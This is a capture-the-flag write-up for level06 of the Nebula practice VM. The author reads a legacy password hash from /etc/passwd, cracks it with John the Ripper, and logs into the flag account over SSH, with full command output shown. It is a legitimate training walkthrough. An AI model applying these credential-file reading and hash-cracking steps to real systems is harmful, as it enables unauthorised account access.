Level06 specifies that “The flag06 account credentials came from a legacy unix system.”

I believe the hint spells out exactly what we need to solve this level.

Legacy unix systems stored the password hashes in /etc/passwd, which is world-readable. Modern systems use the shadow file to store this sensitive information.

A quick grep statement should confirm if my suspicions are correct.

    level06@nebula:~$ grep flag06 /etc/passwd
    flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

Perfect, the line for the flag06 account contains a password hash instead of the ‘x’ that would be displayed on a modern system utilizing /etc/shadow.

Time to fire up John the Ripper to crack the hash:

    foo@kali:~$ john flag06
    Using default input encoding: UTF-8
    Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX])
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    hello            (flag06)
    1g 0:00:00:00 DONE 2/3 (2016-02-06 01:17) 100.0g/s 881200p/s 881200c/s 881200C/s 123456..nutmegs
Use the "--show" option to display all of the cracked passwords reliably
    Session completed

John quickly identifies the password as ‘hello’. Time to test:

    level06@nebula:~$ ssh flag06@localhost
    The authenticity of host 'localhost (127.0.0.1)' can't be established.
    RSA key fingerprint is 67:fe:f4:09:cd:0f:ba:dd:87:2b:73:2c:80:31:c2:68.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added 'localhost' (RSA) to the list of known hosts.

        _   __     __          __
       / | / /__  / /_  __  __/ /___ _
      /  |/ / _ \/ __ \/ / / / / __ `/
     / /|  /  __/ /_/ / /_/ / / /_/ /
    /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


    For level descriptions, please see the above URL.

    To log in, use the username of "levelXX" and password "levelXX", where
    XX is the level number.

    There are currently 20 levels (00 - 19).



    flag06@localhost's password:
    Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

    * Documentation:  https://help.ubuntu.com/
    New release '12.04 LTS' available.
    Run 'do-release-upgrade' to upgrade to it.


    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.

    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.

    flag06@nebula:~$ getflag
    You have successfully executed getflag on a target account

The password worked, I was able to successfully log into the flag06 account and run getflag.

Mike